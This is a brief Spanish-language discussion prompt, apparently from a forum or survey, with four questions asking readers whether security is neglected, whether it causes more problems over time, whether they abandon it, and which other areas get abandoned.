¿Pensáis que la seguridad está abandonada? ¿Que a la larga trae más problemas? ¿Abandonáis la seguridad? ¿Qué otras áreas se abandonan?